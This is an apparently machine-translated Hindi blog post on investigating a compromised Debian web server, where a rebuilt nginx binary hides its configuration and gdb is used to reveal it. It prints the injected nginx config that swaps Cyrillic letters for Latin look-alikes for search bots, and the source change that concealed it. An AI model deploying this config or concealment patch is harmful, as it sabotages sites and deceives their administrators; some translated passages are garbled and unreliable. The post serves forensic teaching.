जब 'ए' 'ए' के ​​बराबर नहीं है. हैक के मद्देनजर

मेरे एक मित्र के साथ एक अत्यंत अप्रिय कहानी घटी। लेकिन यह मिखाइल के लिए जितना अप्रिय साबित हुआ, मेरे लिए उतना ही मनोरंजक था।

मुझे कहना होगा कि मेरा दोस्त शांत है यूनिक्स-उपयोगकर्ता: सिस्टम स्वयं स्थापित कर सकता है MySQL, पीएचपी और सरल सेटिंग करें nginx.
और उनके पास निर्माण उपकरणों के लिए समर्पित एक दर्जन या डेढ़ वेबसाइटें हैं।

चेनसॉ को समर्पित इन साइटों में से एक खोज इंजन के शीर्ष पर मजबूती से बैठी है। यह साइट एक गैर-व्यावसायिक समीक्षक है, लेकिन किसी को इस पर हमला करने की आदत पड़ गई है। वह DDoS, फिर क्रूर बल, फिर वे अश्लील टिप्पणियाँ लिखते हैं और होस्टिंग और आरकेएन को गालियाँ भेजते हैं।
अचानक, सब कुछ शांत हो गया और यह शांति अच्छी नहीं निकली, और साइट धीरे-धीरे खोज परिणामों की शीर्ष पंक्तियों को छोड़ने लगी।

वह तो एक कहावत थी, फिर एडमिन की ही कहानी।

सोने का समय होने वाला था जब फोन बजा: “सैन, क्या तुम मेरे सर्वर को नहीं देखोगे? मुझे ऐसा लगता है कि मुझे हैक कर लिया गया है, मैं इसे साबित नहीं कर सकता, लेकिन इस एहसास ने मुझे तीसरे हफ्ते तक नहीं छोड़ा है। शायद अब मेरे लिए व्यामोह का इलाज कराने का समय आ गया है?"

इसके बाद आधे घंटे तक चर्चा हुई जिसे संक्षेप में इस प्रकार प्रस्तुत किया जा सकता है:

• हैकिंग के लिए मिट्टी काफी उपजाऊ थी;
• एक हमलावर सुपरयूज़र अधिकार प्राप्त कर सकता है;
• हमला (यदि हुआ था) विशेष रूप से इसी स्थल पर लक्षित था;
• समस्या वाले क्षेत्रों को ठीक कर दिया गया है और आपको बस यह समझने की जरूरत है कि क्या कोई पैठ थी;
• हैक साइट कोड और डेटाबेस को प्रभावित नहीं कर सका।

अंतिम बिंदु के संबंध में.

केवल सफ़ेद फ्रंटएंड आईपी ही दुनिया की ओर देखता है। http(s) के अलावा बैकएंड और फ्रंटएंड के बीच कोई आदान-प्रदान नहीं है, उपयोगकर्ता/पासवर्ड अलग-अलग हैं, किसी कुंजी का आदान-प्रदान नहीं किया गया। ग्रे पतों पर, 80/443 को छोड़कर सभी पोर्ट बंद हैं। व्हाइट बैकएंड आईपी के बारे में केवल दो उपयोगकर्ता ही जानते हैं, जिन पर मिखाइल को पूरा भरोसा है।

अग्रभाग पर स्थापित डेबियन 9 और जब तक कॉल किया जाता है, सिस्टम बाहरी फ़ायरवॉल द्वारा दुनिया से अलग हो जाता है और बंद हो जाता है।

"ठीक है, मुझे प्रवेश दो," मैंने एक घंटे के लिए नींद टालने का फैसला किया। "मैं अपनी आँखों से देखूंगा।"

यहाँ और आगे:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

संभावित हैक की तलाश है

मैं सबसे पहले सर्वर शुरू करता हूं बचाव-मोड. मैं डिस्क को माउंट करता हूं और उन्हें पलटता हूं प्रामाणिक-लॉग, इतिहास, सिस्टम लॉग इत्यादि, यदि संभव हो तो, मैं फ़ाइल निर्माण की तारीखों की जांच करता हूं, हालांकि मैं समझता हूं कि एक सामान्य क्रैकर खुद के बाद "बह" गया होगा, और जब वह खुद की तलाश कर रहा था तो मीशा पहले ही बहुत "रौंद" चुकी थी .

मैं सामान्य मोड में शुरू करता हूं, अभी तक वास्तव में समझ नहीं पा रहा हूं कि क्या देखना है, मैं कॉन्फ़िगरेशन का अध्ययन करता हूं। सबसे पहले, मुझे इसमें दिलचस्पी है nginx चूँकि, सामान्य तौर पर, इसके अलावा फ्रंटएंड पर और कुछ नहीं है।
कॉन्फ़िगरेशन छोटे हैं, एक दर्जन फ़ाइलों में अच्छी तरह से संरचित हैं, मैं बस उन्हें देखता हूं बिल्ली'ओह एक एक करके. सब कुछ साफ-सुथरा लगता है, लेकिन आपको कभी पता नहीं चलता कि मुझसे कुछ छूट गया है या नहीं शामिल, मुझे पूरी सूची बनाने दीजिए:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

मुझे समझ नहीं आया: "सूची कहाँ है?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

लिस्टिंग प्रश्न में एक दूसरा प्रश्न जोड़ा गया है: "nginx का इतना प्राचीन संस्करण क्यों?"

इसके अलावा, सिस्टम का मानना ​​है कि नवीनतम संस्करण स्थापित है:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

मैं बुला रहा हूं:
- मिशा, तुम फिर से क्यों इकट्ठी हो गईं nginx?
- उठो, मुझे यह भी नहीं पता कि यह कैसे करना है!
- ठीक है, ठीक है, सो जाओ...

nginx इसे स्पष्ट रूप से पुनर्निर्मित किया गया है और "-T" का उपयोग करके लिस्टिंग का आउटपुट किसी कारण से छिपा हुआ है। हैकिंग के बारे में अब कोई संदेह नहीं है और आप इसे आसानी से स्वीकार कर सकते हैं और (चूंकि मिशा ने सर्वर को एक नए के साथ बदल दिया है) मान लें कि समस्या हल हो गई है।

और वास्तव में, चूंकि किसी को अधिकार मिल गया है जड़'आह, तभी ऐसा करना समझ में आता है सिस्टम पुनः स्थापित करें, और यह देखना बेकार था कि वहां क्या गलत था, लेकिन इस बार जिज्ञासा ने नींद को हरा दिया। हम कैसे पता लगा सकते हैं कि वे हमसे क्या छिपाना चाहते थे?

आइए पता लगाने का प्रयास करें:

$ strace nginx -T

हम इसे देखते हैं, स्पष्ट रूप से ट्रेस में पर्याप्त लाइनें नहीं हैं

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

केवल मनोरंजन के लिए, आइए निष्कर्षों की तुलना करें।

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

मुझे लगता है कि यह कोड का हिस्सा है /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

फॉर्म में लाया गया:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

या

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

इसलिए "-T" द्वारा सूची प्रदर्शित नहीं की जाती है।

लेकिन हम अपना कॉन्फिगरेशन कैसे देख सकते हैं?

यदि मेरा विचार सही है और समस्या केवल परिवर्तनशील है ngx_dump_config आइए इसका उपयोग करके इसे स्थापित करने का प्रयास करें जी.डी.बी., सौभाग्य से वहाँ एक कुंजी है --साथ-सीसी-ऑप्ट -g प्रस्तुत करें और आशा करें कि अनुकूलन -ओ३ इससे हमें कोई नुकसान नहीं होगा. उसी समय, चूँकि मैं नहीं जानता कि कैसे ngx_dump_config में संसाधित किया जा सकता है केस 'टी':, हम इस ब्लॉक को कॉल नहीं करेंगे, बल्कि इसका उपयोग करके इंस्टॉल करेंगे केस 'टी':

आप '-t' के साथ-साथ '-T' का उपयोग क्यों कर सकते हैंब्लॉक प्रोसेसिंग यदि(ngx_dump_config) अंदर होता है यदि(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

निःसंदेह, यदि कोड इस भाग में बदला गया है और इसमें नहीं केस 'टी':, तो मेरा तरीका काम नहीं करेगा।

nginx.conf का परीक्षण करेंसमस्या को प्रयोगात्मक रूप से हल करने के बाद, यह स्थापित किया गया कि मैलवेयर के काम करने के लिए न्यूनतम कॉन्फ़िगरेशन की आवश्यकता होती है nginx प्रकार:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

हम लेख में संक्षिप्तता के लिए इसका उपयोग करेंगे।

डिबगर लॉन्च करें

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

क्रमशः:

• फ़ंक्शन में ब्रेकप्वाइंट सेट करें मुख्य()
• कार्यक्रम का शुभारंभ
• उस वेरिएबल का मान बदलें जो कॉन्फ़िगरेशन का आउटपुट निर्धारित करता है ngx_dump_config=1
• कार्यक्रम जारी रखें/समाप्त करें

जैसा कि हम देख सकते हैं, वास्तविक कॉन्फ़िगरेशन हमारे से भिन्न है, हम इसमें से एक परजीवी टुकड़ा चुनते हैं:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

आइए क्रम से देखें कि यहां क्या हो रहा है।

निर्धारित किए गए है उपयोगकर्ता-एजेंटका यांडेक्स/गूगल:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

सेवा पृष्ठ बाहर रखे गए हैं वर्डप्रेस:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

और उन लोगों के लिए जो उपरोक्त दोनों शर्तों के अंतर्गत आते हैं

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

लिखित मे HTML-पेज बदलते हैं 'ओ' पर 'ओ' и 'ए' पर 'ए':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

यह सही है, एकमात्र सूक्ष्मता यही है 'ए' != 'ए' ठीक वैसा 'ओ' != 'ओ':

इस प्रकार, खोज इंजन बॉट सामान्य 100% सिरिलिक पाठ के बजाय, लैटिन के साथ पतला संशोधित कचरा प्राप्त करते हैं 'ए' и 'ओ'. मैं इस बात पर चर्चा करने का साहस नहीं करता कि यह एसईओ को कैसे प्रभावित करता है, लेकिन यह संभावना नहीं है कि अक्षरों की ऐसी गड़बड़ी से खोज परिणामों में स्थिति पर सकारात्मक प्रभाव पड़ेगा।

मैं क्या कह सकता हूं, कल्पना वाले दोस्तों।

संदर्भों

जीडीबी के साथ डिबगिंग
जीडीबी(1) - लिनक्स मैन पेज
स्ट्रेस(1) - लिनक्स मैन पेज
Nginx - मॉड्यूल ngx_http_sub_module
आरी, चेनसॉ और इलेक्ट्रिक आरी के बारे में

स्रोत: www.habr.com